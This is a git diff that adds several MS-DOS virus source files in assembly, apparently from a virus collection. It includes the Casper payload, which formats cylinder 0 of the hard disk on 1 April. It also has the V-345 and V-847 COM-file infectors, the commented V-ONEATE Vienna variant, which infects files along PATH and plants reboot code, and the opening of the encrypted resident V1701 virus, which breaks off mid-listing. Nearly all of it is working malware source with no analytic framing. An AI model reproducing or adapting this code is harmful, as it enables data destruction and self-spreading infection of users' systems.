handle + ; al=method, cx,dx=offset + cmp ax,6A4h + jb loc_15 ; Jump if below + jmp short loc_14 + nop +loc_13: + jmp short loc_10 +loc_14: + mov cx,cs:data_18e + and cx,0Fh + add cx,5 + mov ax,cs + mov ds,ax + xor dx,dx ; Zero register + mov ax,4000h + int 21h ; DOS Services ah=function 40h + ; write file bx=file handle + ; cx=bytes from ds:dx buffer + jc loc_15 ; Jump if carry Set + mov ax,4202h + xor cx,cx ; Zero register + mov dx,cx + int 21h ; DOS Services ah=function 42h + ; move file ptr, bx=file handle + ; al=method, cx,dx=offset + sub ax,3 + mov word ptr cs:[2AAh],ax + xor dx,dx ; Zero register + mov ax,4000h + mov cx,2BBh + int 21h ; DOS Services ah=function 40h + ; write file bx=file handle + ; cx=bytes from ds:dx buffer + jc loc_15 ; Jump if carry Set + mov ax,4200h + xor cx,cx ; Zero register + mov dx,cx + int 21h ; DOS Services ah=function 42h + ; move file ptr, bx=file handle + ; al=method, cx,dx=offset + mov ax,cs + mov ds,ax + mov dx,2A9h + mov ax,4000h + mov cx,3 + int 21h ; DOS Services ah=function 40h + ; write file bx=file handle + ; cx=bytes from ds:dx buffer +loc_15: + mov ax,5701h + mov cx,word ptr cs:[2ACh] + mov dx,word ptr cs:[2AEh] + int 21h ; DOS Services ah=function 57h + ; set file date+time, bx=handle + ; cx=time, dx=time + mov ax,3E00h + int 21h ; DOS Services ah=function 3Eh + ; close file, bx=file handle + mov ds,word ptr cs:[2B0h] + mov dx,word ptr cs:[2B2h] + mov cx,word ptr cs:[2B4h] + mov ax,4301h + int 21h ; DOS Services ah=function 43h + ; set attrb cx, filename @ds:dx +loc_16: + pop di + pop si + pop es + pop ds + pop dx + pop cx + pop bx + pop ax + jmp short loc_13 + nop + add [bx+si],al + push ax + mov ah,30h ; '0' + int 21h ; DOS Services ah=function 30h + ; get DOS version number ax + cmp ax,1E03h +;* je loc_17 ; Jump if equal + db 74h, 09h + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] +;* jmp loc_18 + db 0E9h, 15h, 00h + test ax,3AA5h + push ss + db 0FEh,0B2h,0B9h, 41h, 20h, 00h + db 0B8h, 00h, 4Ch, 02h, 00h + +seg_a ends + + + + end start diff --git a/u/UTILITY.ASM b/u/UTILITY.ASM new file mode 100755 index 0000000..ae7193d --- /dev/null +++ b/u/UTILITY.ASM @@ -0,0 +1,33 @@ +;**************************************************************************** +;* +;* UTILITY.ASM - Manipulation Task Code For Casper The Virus. * +;* * +;* USAGE: Is automatically INCLUDED in the assembly of casper.asm * +;* * +;* DETAILS: Date Activated Hard Disk Destroyer. * +;* DATE: 1st April DAMAGE: Formats Cylinder 0 of HD. * +;* * +;************************************************************************** + + + + + + mov ah,2ah ; DOS Get Date. + int 21h + cmp dx,0401h ; 5th May. + jne utilend + mov ax,0515h ;Format Cylinder, 15 Sectors. + mov ch,0 ;Cylinder 0. + mov dx,00 ;Head 0, Drive 80h. + mov es,dx ;Junk for address marks. + mov bx,0 ;Junk.... + int 13h ;Do It! + int 20h ;Exit +utilend: jmp entry3 + db "Hi! I'm Casper The Virus, And On April The 1st I'm " + db "Gonna Fuck Up Your Hard Disk REAL BAD! " + db "In Fact It Might Just Be Impossible To Recover! " + db "How's That Grab Ya! " +entry3: + \ No newline at end of file diff --git a/v/V-345.ASM b/v/V-345.ASM new file mode 100755 index 0000000..a7067cd --- /dev/null +++ b/v/V-345.ASM @@ -0,0 +1,134 @@ + page ,132 + name V345 + title V-345 - a mutation of the V-845 virus + .radix 16 +code segment + assume cs:code,ds:code + org 100 + +timer equ 6C +olddta equ 80 +virlen = offset endcode - offset start +newid = offset ident - offset start + +start: + jmp short virus + +ident dw 'VI' +counter db 0 +allcom db '*.COM',0 +progbeg dd ? +eof dw ? +newdta db 2C dup (?) +fname equ offset newdta+1E + +virus: + push ax + mov ax,cs ;Move program code + add ax,1000 ; 64K bytes forward + mov es,ax + inc [counter] + mov si,offset start + xor di,di + mov cx,virlen + rep movsb + + mov dx,offset newdta ;Set new Disk Transfer Address + mov ah,1A ;Set DTA + int 21 + mov dx,offset allcom ;Search for '*.COM' files + mov cx,110b ;Normal, Hidden or System + mov ah,4E ;Find First file + int 21 + jc done ;Quit if none found + +mainlp: + mov dx,fname + mov ax,3D02 ;Open file in Read/Write mode + int 21 + mov bx,ax ; Save handle + push es + pop ds + mov dx,virlen + mov cx,0FFFF ;Read all bytes (64K max in .COM file) + mov ah,3F ;Read from handle + int 21 ;Bytes read in AX + add ax,virlen + mov cs:[eof],ax ;Save pointer to the end of file + cmp ds:[newid+virlen],'VI' ;Infected? + je close ;Go find next file if so + + xor cx,cx ;Go to file beginning + mov dx,cx + mov ax,4200 ;LSEEK from the beginning of the file + int 21 + jc close ;Leave this file if error occures + + xor dx,dx ;Write the whole code (virus+file) + mov cx,cs:[eof] ; back onto the file + mov ah,40 ;Write to handle + int 21 + +close: + mov ah,3E ;Close the file + int 21 + + push cs + pop ds ;Restore DS + mov ah,4F ;Find next matching file + int 21 + jc done ;Exit if all found + jmp mainlp ;Otherwise loop again + +done: + mov dx,olddta ;Restore old Disk Transfer Address + mov ah,1A ;Set DTA + int 21 + + cmp [counter],5 ;If counter goes above 5, + jb progok ; the program becomes "sick" + mov ax,40 + mov ds,ax ;Get the system timer value + mov ax,word ptr [timer] + push cs + pop ds ;Restore DS + and ax,1 ;At random (if timer value is odd) + jz progok ; display the funny message + mov dx,offset message + mov ah,9 ;Print string + int 21 + int 20 ;Terminate program + +message db 'Program sick error:Call doctor or ' + db 'buy PIXEL for cure description',0A,0Dh,'$' + +progok: + mov si,offset transf ;Move this part of code + mov cx,offset endcode - offset transf ;Code length + xor di,di ;Move to ES:0 + rep movsb ;Do it + + pop bx ; BX = old AX + mov word ptr cs:[progbeg],0 + mov word ptr cs:[progbeg+2],es ;Point progbeg at program start + jmp cs:[progbeg] ;Jump at program start + +transf: + push ds + pop es + mov si,offset endcode + mov di,offset start + mov cx,0FFFF ;Restore original program's code + sub cx,si + rep movsb + mov word ptr cs:[start],offset start + mov word ptr cs:[start+2],ds + mov ax,bx + jmp dword ptr cs:[start] ;Jump to program start +endcode label byte + + int 20 ;Dummy program + +code ends + end start + \ No newline at end of file diff --git a/v/V-847.ASM b/v/V-847.ASM new file mode 100755 index 0000000..b9c4899 --- /dev/null +++ b/v/V-847.ASM @@ -0,0 +1,150 @@ + page ,132 + name V847 + title The V-847 virus + .radix 16 +code segment + assume cs:code,ds:code + org 100 + +timer equ 6C +olddta equ 80 +virlen equ offset endcode - offset start +smalcod equ offset endcode - offset transf +buffer equ offset endcode + 100 +newdta equ offset endcode + 10 +fname = newdta + 1E +virlenx = offset endcode - offset start +newid = offset ident + virlenx + 100 + +start: + jmp virus + +ident dw 'VI' +counter db 0 +allcom db '*.COM',0 +vleng dw 44F ;Unused +progbeg dd 10000h +eof dw ? +handle dw ? + +virus: + mov ax,cs ;Move program code + add ax,1000 ; 64K bytes forward + mov es,ax + inc [counter] + mov si,offset start + xor di,di + mov cx,virlen + rep movsb + + mov dx,newdta ;Set new Disk Transfer Address + mov ah,1A ;Set DTA + int 21 + mov dx,offset allcom ;Search for '*.COM' files + mov cx,110b ;Normal, Hidden or System + mov ah,4E ;Find First file + int 21 + jc done ;Quit if none found + +mainlp: + mov dx,offset fname + mov ax,3D02 ;Open file in Read/Write mode + int 21 + mov [handle],ax ;Save handle + mov bx,ax + push es + pop ds + mov dx,buffer + mov cx,0FFFF ;Read all bytes + mov ah,3F ;Read from handle + int 21 ;Bytes read in AX + add ax,buffer + mov cs:[eof],ax ;Save pointer to the end of file + db 3E ;Force DS: prefix + cmp [newid],'VI' ;Infected? + je close ;Go find next file + + xor cx,cx ;Go to file beginning + mov dx,cx + mov bx,cs:[handle] + mov ax,4200 ;LSEEK from the beginning of the file + int 21 + jc close ;Leave this file if error occures + + mov dx,0 ;Write the whole code (virus+file) + mov cx,cs:[eof] ; back onto the file + mov bx,cs:[handle] + mov ah,40 ;Write to handle + int 21 + +close: + mov bx,cs:[handle] + mov ah,3E ;Close the file + int 21 + + push cs + pop ds ;Restore DS + mov ah,4F ;Find next matching file + mov dx,newdta + int 21 + jc done ;Exit if all found + jmp mainlp ;Otherwise loop again + +done: + mov dx,olddta ;Restore old Disk Transfer Address + mov ah,1A ;Set DTA + int 21 + + cmp [counter],5 ;If counter goes above 5, + jb progok ; the program becomes "sick" + mov ax,40 + mov ds,ax ;Get the system timer value + mov ax,word ptr ds:[timer] + push cs + pop ds ;Restore DS + and ax,1 ;At random (if timer value is odd) + jz progok ; display the funny message + mov dx,offset message + mov ah,9 ;Print string + int 21 + int 20 ;Terminate program + +message db 'Program sick error:Call doctor or ' + db 'buy PIXEL for cure description',0A,0Dh,'$' + +progok: + mov si,offset transf ;Move this part of code + mov cx,smalcod ;Code length + xor di,di ;Move to ES:0 + rep movsb ;Do it + + xor di,di ;Clear DI + mov word ptr cs:[progbeg],0 + mov word ptr cs:[progbeg+2],es ;Point progbeg at program start + jmp cs:[progbeg] ;Jump at program start + +transf: + push ds + pop es + mov si,buffer+100 + cmp [counter],1 + jne skip + sub si,200 +skip: + mov di,offset start + mov cx,0FFFF ;Restore original program's code + sub cx,si + rep movsb + mov word ptr cs:[start],offset start + mov word ptr cs:[start+2],ds + jmp dword ptr cs:[start] ;Jump to program start +endcode label byte + + int 20 ;Dummy program + int 20 ;??? + + dw 0 ;Unused + +code ends + end start + \ No newline at end of file diff --git a/v/V-ONEATE.ASM b/v/V-ONEATE.ASM new file mode 100755 index 0000000..202d444 --- /dev/null +++ b/v/V-ONEATE.ASM @@ -0,0 +1,618 @@ +;************************************************************************ +; V-ONEATE Virus (Virus: One in Ate) +; ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +; This is a variant of the Vienna strain which only runs its infectious +; code on an average 1 out of every 8 times it is run. When it is +; run, however, it infects 8 files. This is to make up for the +; slow infection rate. The 62 second flag has been modified for +; 61 seconds. The DOS v1.x checker is removed. Why? Do you +; know anyone who uses DOS v1.x? +;------------------------------------------------------------------------- + +MOV_CX MACRO X + DB 0B9H + DW X +ENDM + +CODE SEGMENT + ASSUME DS:CODE,SS:CODE,CS:CODE,ES:CODE + ORG $+0100H + +;***************************************************************************** +;Start out with a JMP around the remains of the original .COM file, into the +;virus. The actual .COM file was just an INT 20, followed by a bunch of NOPS. +;The rest of the file (first 3 bytes) are stored in the virus data area. +;***************************************************************************** + +VCODE: JMP virus + +;This was the rest of the original .COM file. Tiny and simple, this time + + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + +;************************************************************ +; The actual virus starts here +;************************************************************ + +v_start equ $ + +virus: +;******************************************************************* +; Start of Virus Code: Get current system time +;******************************************************************* + + MOV AH,2CH + INT 21H + + AND DH,07h ;Last 3 bits 0? (once in eight) + JNZ all_done + +;******************************************************************* +; The special "one in eight" infection. If the above line were in +; its original form, this code would be run 1/8 of the time, and +; rather than appending a copy of this virus to the 8 .COM files, +; the virus simply runs the .COM program normally. +; ****************************************************************** + + PUSH CX + MOV DX,OFFSET vir_dat ;This is where the virus data starts. + ; The 2nd and 3rd bytes get modified. + CLD ;Pointers will be auto INcremented + MOV SI,DX ;Access data as offset from SI + ADD SI,first_3 ;Point to original 1st 3 bytes of .COM + MOV DI,OFFSET 100H ;`cause all .COM files start at 100H + MOV CX,3 + REPZ MOVSB ;Restore original first 3 bytes of .COM + MOV SI,DX ;Keep SI pointing to the data area + +;************************************************************* +; Get DTA address into ES:BX +;************************************************************* + PUSH ES + MOV AH,2FH + INT 21H + +;************************************************************* +; Save the DTA address +;************************************************************* + + MOV [SI+old_dta],BX + MOV [SI+old_dts],ES ;Save the DTA address + + POP ES + +;************************************************************* +; Set DTA to point inside the virus data area +;************************************************************* + + MOV DX,dta ;Offset of new DTA in virus data area +; NOP ;MASM will add this NOP here + ADD DX,SI ;Compute DTA address + MOV AH,1AH + INT 21H ;Set new DTA to inside our own code + + PUSH ES + PUSH SI + MOV ES,DS:2CH + MOV DI,0 ;ES:DI points to environment + JMP ifect + +; Here when it's time to close it up & end +; ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + +all_done: + PUSH DS + +;********************************************************************** +; Restore old DTA +;********************************************************************** + + MOV AH,1AH + MOV DX,[SI+old_dta] + MOV DS,[SI+old_dts] + INT 21H + + POP DS + +;************************************************************************* +; Clear registers used, & do a weird kind of JMP 100. The weirdness comes +; in since the address in a real JMP 100 is an offset, and the offset +; varies from one infected file to the next. By PUSHing an 0100H onto the +; stack, we can RET to address 0100H just as though we JMPed there. +;********************************************************************** + +quit: + POP CX + XOR AX,AX + XOR BX,BX + XOR DX,DX + XOR SI,SI + MOV DI,OFFSET 0100H + PUSH DI + XOR DI,DI + + RET 0FFFFH + + + +; The Infect Cycle +; ~~~~~~~~~~~~~~~~ +ifect: MOV CX,0008h +infect: PUSH CX + CALL theifect + POP CX + LOOP infect + +;************************************************************ +; Find the "PATH=" string in the environment +;************************************************************ +theifect: ; The infection Cycle begins +find_path: + POP SI + PUSH SI ;Get SI back + ADD SI,env_str ;Point to "PATH=" string in data area + LODSB + MOV CX,OFFSET 8000H ;Environment can be 32768 bytes long + REPNZ SCASB ;Search for first character + MOV CX,4 + +;************************************************************ +; Loop to check for the next four characters +;************************************************************ + +check_next_4: + LODSB + SCASB + JNZ find_path ;If not all there, abort & start over + LOOP check_next_4 ;Loop to check the next character + + POP SI + POP ES + MOV [SI+path_ad],DI ;Save the address of the PATH + MOV DI,SI + ADD DI,wrk_spc ;File name workspace + MOV BX,SI ;Save a copy of SI + ADD SI,wrk_spc ;Point SI to workspace + MOV DI,SI ;Point DI to workspace + JMP SHORT slash_ok + +;********************************************************** +; Look in the PATH for more subdirectories, if any +;********************************************************** + +set_subdir: + CMP WORD PTR [SI+path_ad],0 ;Is PATH string ended? + JNZ found_subdir ;If not, there are more subdirectories + JMP all_done ;Else, we're all done + +;********************************************************** +; Here if there are more subdirectories in the path +;********************************************************** + +found_subdir: + PUSH DS + PUSH SI + MOV DS,ES:2CH ;DS points to environment segment + MOV DI,SI + MOV SI,ES:[DI+path_ad] ;SI = PATH address + ADD DI,wrk_spc ;DI points to file name workspace + +;*********************************************************** +; Move subdirectory name into file name workspace +;*********************************************************** + +move_subdir: + LODSB ;Get character + CMP AL,';' ;Is it a ';' delimiter? + JZ moved_one ;Yes, found another subdirectory + CMP AL,0 ;End of PATH string? + JZ moved_last_one ;Yes + STOSB ;Save PATH marker into [DI] + JMP SHORT move_subdir + +;****************************************************************** +; Mark the fact that we're looking through the final subdirectory +;****************************************************************** + +moved_last_one: + MOV SI,0 + +;****************************************************************** +; Here after we've moved a subdirectory +;****************************************************************** + +moved_one: + POP BX ;Pointer to virus data area + POP DS ;Restore DS + MOV [BX+path_ad],SI ;Address of next subdirectory + NOP + +;****************************************************************** +; Make sure subdirectory ends in a "\" +;****************************************************************** + + CMP CH,'\' ;Ends with "\"? + JZ slash_ok ;If yes + MOV AL,'\' ;Add one, if not + STOSB + +;****************************************************************** +; Here after we know there's a backslash at end of subdir +;****************************************************************** + +slash_ok: + MOV [BX+nam_ptr],DI ;Set filename pointer to name workspace + MOV SI,BX ;Restore SI + ADD SI,f_spec ;Point to "*.COM" + MOV CX,6 + REPZ MOVSB ;Move "*.COM",0 to workspace + + MOV SI,BX + +;******************************************************************* +; Find first string matching *.COM +;******************************************************************* + + MOV AH,4EH + MOV DX,wrk_spc +; NOP ;MASM will add this NOP here + ADD DX,SI ;DX points to "*.COM" in workspace + MOV CX,3 ;Attributes of Read Only or Hidden OK + INT 21H + + JMP SHORT find_first + +;******************************************************************* +; Find next ASCIIZ string matching *.COM +;******************************************************************* + +find_next: + MOV AH,4FH + INT 21H + +find_first: + JNB found_file ;Jump if we found it + JMP SHORT set_subdir ;Otherwise, get another subdirectory + +;******************************************************************* +; Here when we find a file +;******************************************************************* + +found_file: + MOV AX,[SI+dta_tim] ;Get time from DTA + AND AL,1FH ;Mask to remove all but seconds + CMP AL,1EH ;61 seconds -> already infected + JZ find_next ;If so, go find another file + + CMP WORD PTR [SI+dta_len],OFFSET 0FA00H ;Is the file too long? + JA find_next ;If too long, find another one + + CMP WORD PTR [SI+dta_len],0AH ;Is it too short? + JB find_next ;Then go find another one + + MOV DI,[SI+nam_ptr] ;DI points to file name + PUSH SI ;Save SI + ADD SI,dta_nam ;Point SI to file name + +;******************************************************************** +; Move the name to the end of the path +;******************************************************************** + +more_chars: + LODSB + STOSB + CMP AL,0 + JNZ more_chars ;Move characters until we find a 00 + +;******************************************************************** +; Get File Attributes +;******************************************************************** + + POP SI + MOV AX,OFFSET 4300H + MOV DX,wrk_spc ;Point to \path\name in workspace +; NOP ;MASM will add this NOP here + ADD DX,SI + INT 21H + + MOV [SI+old_att],CX ;Save the old attributes + +;******************************************************************** +; Rewrite the attributes to allow writing to the file +;******************************************************************** + + MOV AX,OFFSET 4301H ;Set attributes + AND CX,OFFSET 0FFFEH ;Set all except "read only" (weird) + MOV DX,wrk_spc ;Offset of \path\name in workspace +; NOP ;MASM will add this NOP here + ADD DX,SI ;Point to \path\name + INT 21H + +;******************************************************************** +; Open Read/Write channel to the file +;******************************************************************** + + MOV AX,OFFSET 3D02H ;Read/Write + MOV DX,wrk_spc ;Offset to \path\name in workspace +; NOP ;MASM will add this NOP here + ADD DX,SI ;Point to \path\name + INT 21H + + JNB opened_ok ;If file was opened OK + JMP fix_attr ;If it failed, restore the attributes + +;******************************************************************* +; Get the file date & time +;******************************************************************* + +opened_ok: + MOV BX,AX + MOV AX,OFFSET 5700H + INT 21H + + MOV [SI+old_tim],CX ;Save file time + MOV [SI+ol_date],DX ;Save the date + +;******************************************************************* +; Get current system time +;******************************************************************* + + MOV AH,2CH + INT 21H + + AND DH,7 ;Last 3 bits 0? (once in eight) + JNZ seven_in_eight + +;******************************************************************* +; The special "one in eight" infection. If the above line were in +; its original form, this code would be run 1/8 of the time, and +; rather than appending a copy of this virus to the .COM file, the +; file would get 5 bytes of code that reboot the system when the +; .COM file is run. +;******************************************************************* + + MOV AH,40H ;Write to file + MOV CX,5 ;Five bytes + MOV DX,SI + ADD DX,reboot ;Offset of reboot code in data area + INT 21H + + JMP SHORT fix_time_stamp + + NOP + +;****************************************************************** +; Here's where we infect a .COM file with this virus +;****************************************************************** + +seven_in_eight: + MOV AH,3FH + MOV CX,3 + MOV DX,first_3 +; NOP ;MASM will add this NOP here + ADD DX,SI + INT 21H ;Save first 3 bytes into the data area + + JB fix_time_stamp ;Quit, if read failed + + CMP AX,3 ;Were we able to read all 3 bytes? + JNZ fix_time_stamp ;Quit, if not + +;****************************************************************** +; Move file pointer to end of file +;****************************************************************** + + MOV AX,OFFSET 4202H + MOV CX,0 + MOV DX,0 + INT 21H + + JB fix_time_stamp ;Quit, if it didn't work + + MOV CX,AX ;DX:AX (long int) = file size + SUB AX,3 ;Subtract 3 (OK, since DX must be 0, here) + MOV [SI+jmp_dsp],AX ;Save the displacement in a JMP instruction + + ADD CX,OFFSET c_len_y + MOV DI,SI ;Point DI to virus data area + SUB DI,OFFSET c_len_x + ;Point DI to reference vir_dat, at start of pgm + MOV [DI],CX ;Modify vir_dat reference:2nd, 3rd bytes of pgm + +;******************************************************************* +; Write virus code to file +;******************************************************************* + + MOV AH,40H + + MOV_CX virlen ;Length of virus, in bytes + + MOV DX,SI + SUB DX,OFFSET codelen ;Length of virus code, gives starting + ; address of virus code in memory + INT 21H + + JB fix_time_stamp ;Jump if error + + CMP AX,OFFSET virlen ;All bytes written? + JNZ fix_time_stamp ;Jump if error + +;********************************************************************** +; Move file pointer to beginning of the file +;********************************************************************** + + MOV AX,OFFSET 4200H + MOV CX,0 + MOV DX,0 + INT 21H + + JB fix_time_stamp ;Jump if error + +;********************************************************************** +; Write the 3 byte JMP at the start of the file +;********************************************************************** + + MOV AH,40H + MOV CX,3 + MOV DX,SI ;Virus data area + ADD DX,jmp_op ;Point to the reconstructed JMP + INT 21H + +;********************************************************************** +; Restore old file date & time, with seconds modified to 62 +;********************************************************************** + +fix_time_stamp: + MOV DX,[SI+ol_date] ;Old file date + MOV CX,[SI+old_tim] ;Old file time + AND CX,OFFSET 0FFE0H + OR CX,1EH ;Seconds = 31/30 min = 61 seconds + MOV AX,OFFSET 5701H + INT 21H + +;********************************************************************** +; Close File +;********************************************************************** + + MOV AH,3EH + INT 21H + +;********************************************************************** +; Restore Old File Attributes +;********************************************************************** + +fix_attr: + MOV AX,OFFSET 4301H + MOV CX,[SI+old_att] ;Old Attributes + MOV DX,wrk_spc +; NOP ;MASM will add this NOP + ADD DX,SI ;DX points to \path\name in workspace + INT 21H + RET +; End of Infection loop +; ^^^^^^^^^^^^^^^^^^^^^ + + +;************************************************************************ +;The virus data starts here. It's accessed off the SI register, per the +; comments as shown +;************************************************************************ + +vir_dat EQU $ + + ;Use this with (SI + old_dta) +olddta_ DW 0 ;Old DTA offset + + ;Use this with (SI + old_dts) +olddts_ DW 0 ;Old DTA segment + + ;Use this with (SI + old_tim) +oldtim_ DW 0 ;Old Time + + ;Use this with (SI + ol_date) +oldate_ DW 0 ;Old date + + ;Use this with (SI + old_att) +oldatt_ DW 0 ;Old file attributes + +;Here's where the first three bytes of the original .COM file go.(SI + first_3) + +first3_ EQU $ + INT 20H + NOP + +;Here's where the new JMP instruction is worked out + + ;Use this with (SI + jmp_op) +jmpop_ DB 0E9H ;Start of JMP instruction + + ;Use this with (SI + jmp_dsp) +jmpdsp_ DW 0 ;The displacement part + +;This is the type of file we're looking to infect. (SI + f_spec) + +fspec_ DB '*.COM',0 + + ;Use this with (SI + path_ad) +pathad_ DW 0 ;Path address + + ;Use this with (SI + nam_ptr) +namptr_ DW 0 ;Pointer to start of file name + + ;Use this with (SI + env_str) +envstr_ DB 'PATH=' ;Find this in the environment + + ;File name workspace (SI + wrk_spc) +wrkspc_ DB 40h dup (0) + + ;Use this with (SI + dta) +dta_ DB 16h dup (0) ;Temporary DTA goes here + + ;Use this with (SI + dta_tim) +dtatim_ DW 0,0 ;Time stamp in DTA + + ;Use this with (SI + dta_len) +dtalen_ DW 0,0 ;File length in the DTA + + ;Use this with (SI + dta_nam) +dtanam_ DB 0Dh dup (0) ;File name in the DTA + + ;Use this with (SI + reboot) +reboot_ DB 0EAH,0F0H,0FFH,0FFH,0FFH ;Five byte FAR JMP to FFFF:FFF0 + +lst_byt EQU $ ;All lines that assemble into code are + ; above this one + +;***************************************************************************** +;The virus needs to know a few details about its own size and the size of its +; code portion. Let the assembler figure out these sizes automatically. +;***************************************************************************** + +virlen = lst_byt - v_start ;Length, in bytes, of the entire virus +codelen = vir_dat - v_start ;Length of virus code, only +c_len_x = vir_dat - v_start - 2 ;Displacement for self-modifying code +c_len_y = vir_dat - v_start + 100H ;Code length + 100h, for PSP + +;***************************************************************************** +;Because this code is being appended to the end of an executable file, the +; exact address of its variables cannot be known. All are accessed as offsets +; from SI, which is represented as vir_dat in the below declarations. +;***************************************************************************** + +old_dta = olddta_ - vir_dat ;Displacement to the old DTA offset +old_dts = olddts_ - vir_dat ;Displacement to the old DTA segment +old_tim = oldtim_ - vir_dat ;Displacement to old file time stamp +ol_date = oldate_ - vir_dat ;Displacement to old file date stamp +old_att = oldatt_ - vir_dat ;Displacement to old attributes +first_3 = first3_ - vir_dat ;Displacement-1st 3 bytes of old .COM +jmp_op = jmpop_ - vir_dat ;Displacement to the JMP opcode +jmp_dsp = jmpdsp_ - vir_dat ;Displacement to the 2nd 2 bytes of JMP +f_spec = fspec_ - vir_dat ;Displacement to the "*.COM" string +path_ad = pathad_ - vir_dat ;Displacement to the path address +nam_ptr = namptr_ - vir_dat ;Displacement to the filename pointer +env_str = envstr_ - vir_dat ;Displacement to the "PATH=" string +wrk_spc = wrkspc_ - vir_dat ;Displacement to the filename workspace +dta = dta_ - vir_dat ;Displacement to the temporary DTA +dta_tim = dtatim_ - vir_dat ;Displacement to the time in the DTA +dta_len = dtalen_ - vir_dat ;Displacement to the length in the DTA +dta_nam = dtanam_ - vir_dat ;Displacement to the name in the DTA +reboot = reboot_ - vir_dat ;Displacement to the 5 byte reboot code + + CODE ENDS +END VCODE + + diff --git a/v/V1701.ASM b/v/V1701.ASM new file mode 100755 index 0000000..8befb2d --- /dev/null +++ b/v/V1701.ASM @@ -0,0 +1,937 @@ + +L0004: CALL L0007 ; PUSH BEGIN ADDRESS +L0007: POP BX ; POP ADDRESS + + SUB BX,0131H ; CALC DATA POINT + + TEST BYTE PTR CS:[BX+012AH],01H ; ENCODE VIRUS ? + JE L0023 ; VIRUS IS ENCODING. START + + LEA SI,[BX+014DH] ; START ADDRES FOR ENCODE + MOV SP,0682H ; SIZE OF VIRUS + +L001B: XOR [SI],SI ; ENCODE ONE BYTE + XOR [SI],SP + + INC SI ; ADDRESS OF NEXT BYTE + + DEC SP ; LAST BYTE ? + JNE L001B ; NO. ENCODE NEXT BYTE + +L0023: MOV SP,BP ; RESTORE STACK + JMP SHORT L0076 + + NOP + + ADD [BX+DI],AL + ESC 09,[SI] +L002C: DW 0000H + DEC BP ;DB 4DH + POP DX ;DB 5AH + ADD BYTE PTR [BX+SI],00H + DEC BX + INC WORD PTR [BX+SI] + DB 0F0H + ADC [BP+DI],AX + MOV DL,0BH + INC BP + ADC AL,26H + ADD AL,[BX+SI] + ADD [BX+SI],AH + ADD [BX+SI+12H],DH + MOV BH,65H + MOV CX,2A41H + JNP LFFCC + INC BP +L004D: DW 0000H + + JMP L0BD4 ;DB 0E9H,82H,0BH + +L0052: DW 2 DUP(0000H) + ADD [BX+SI],CL ;DB 00H,08H +L0058: DW 2 DUP(0000H) + AND AL,[BX+DI] ;DB 22H,01H + POP ES ;DB 07H + ADD AL,[BX] ;DB 02H,07H + ADD AL,[BX+SI] ;DB 02H,00H + ADD [BX+DI],AL ;DB 00H,01H + ADD [BX+DI+8518H],BL ;DB 00H,99H,18H,85H + ADD AL,00H ;DB 04H,00H + XOR BYTE PTR [SI],92H ;DB 80H,34H,92H + XOR AL,13H ;DB 34H,13H + ADD [BX+DI],AL + ADC AL,14H + SUB [BX+SI],BP + +L0076: CALL L0079 ; PUSH ADDRES +L0079: POP BX ; POP ADDRES TO BX + SUB BX,01A3H ; CALC DATA POINT + + MOV CS:[BX+0154H],CS ; SAVE CURRENT SEGMENT + MOV CS:[BX+0156H],AX ; SAVE AX + + MOV AX,CS:[BX+0158H] + MOV WORD PTR DS:[0100H],AX + + MOV AL,CS:[BX+015AH] + MOV BYTE PTR DS:[0102H],AL + + PUSH BX ; PUSH DATA POINT + + MOV AH,30H ; GET DOS VERSION + INT 21H + +L009D: POP BX ; POP DATA POINT + + CMP AL,02H ; INCORECT DOS VERSION ? + JB L00B3 ; YES. EXECUTE PROGRAM + + MOV AX,4BFFH ; THE VIRUS IS ACTIVE IN MEMORY ? + XOR DI,DI + XOR SI,SI + INT 21H + +L00AB: CMP DI,55AAH ; SPECIAL CODE ? + JNE L00C0 ; NO. INSERT VIRUS IN MEMORY + JB L00C9 ; ??? + +L00B3: STI + PUSH DS + POP ES + MOV AX,CS:[BX+0156H] + JMP DWORD PTR CS:[BX+0152H] + +L00C0: PUSH BX ; SAVE BX + + MOV AX,3521H ; GET INT21 ADDRESS IN ES:BX + INT 21H + MOV AX,BX + + POP BX ; RESTORE BX + +L00C9: MOV CS:[BX+0161H],AX ; STORE INT21 ADDRESS + MOV CS:[BX+0163H],ES + + MOV AX,0F000H ; 'BIOS' SEGMENT + MOV ES,AX + + MOV DI,0E008H ; OFFSET 'COPR. IBM',0 + + CMP WORD PTR [DI],4F43H ; CHECK ORIGINAL NAME + JNE L00FC + + CMP WORD PTR [DI+02H],5250H + JNE L00FC + + CMP WORD PTR [DI+04H],202EH + JNE L00FC + + CMP WORD PTR [DI+06H],4249H + JNE L00FC + + CMP WORD PTR [DI+08H],004DH + JE L00B3 ; ORIGINAL COMPUTER. CAN'T INSERT VIRUS + +L00FC: MOV AX,007BH ; SIZE OF VIRUS 'MCB' + + MOV BP,CS ; PROGRAM 'MCB' SEGMENT + DEC BP + MOV ES,BP + + MOV SI,CS:[0016H] + MOV ES:[0001H],SI + + MOV DX,ES:[0003H] ; GET BLOCK SIZE + + MOV WORD PTR ES:[0003H],AX ; NEW BLOCK SIZE + + MOV BYTE PTR ES:[0000H],4DH ; MIDDLE BLOCK + + SUB DX,AX ; CALC NEW SIZE OF PROGRAM MEMORY BLOCK + DEC DX + + INC BP ; PSP SEGMENT + + ADD BP,AX ; NEW 'PSP' OF PROGRAM + INC BP + + MOV ES,BP ; SEGMENT OF 'PSP' + + PUSH BX ; SET NEW SEGMENT OF 'PSP' + MOV AH,50H + MOV BX,BP + INT 21H +L012D: POP BX + + XOR DI,DI ; NEW SEGMENT OF STACK + PUSH ES ; PUSH 0 + POP SS + PUSH DI + + LEA DI,[BX+07CEH] ; ADDRES OF VIRUS + + MOV SI,DI ; MOVE VIRUS + MOV CX,06A5H + STD + REPZ MOVSB + + PUSH ES ; EXEC VIRUS IN NEW SEGMENT + LEA CX,[BX+0270H] + PUSH CX + RETF + +L0146: MOV CS:[BX+0154H],CS ; SAVE NEW SEGMENT + LEA CX,[BX+012AH] ; SIZE PROGRAM + REPZ MOVSB ; MOVE PROGRAM + + MOV CS:[0036H],CS ; STORE CS ??? + + DEC BP ; NEW 'MCB' SEGMENT + MOV ES,BP + + MOV ES:[0003H],DX ; NEW SIZE OF BLOCK + MOV BYTE PTR ES:[0000H],5AH ; 'LAST' BLOCK + MOV ES:[0001H],CS ; 'PSP' SEGMENT + + INC BP ; 'PSP' SEGMENT + MOV ES,BP 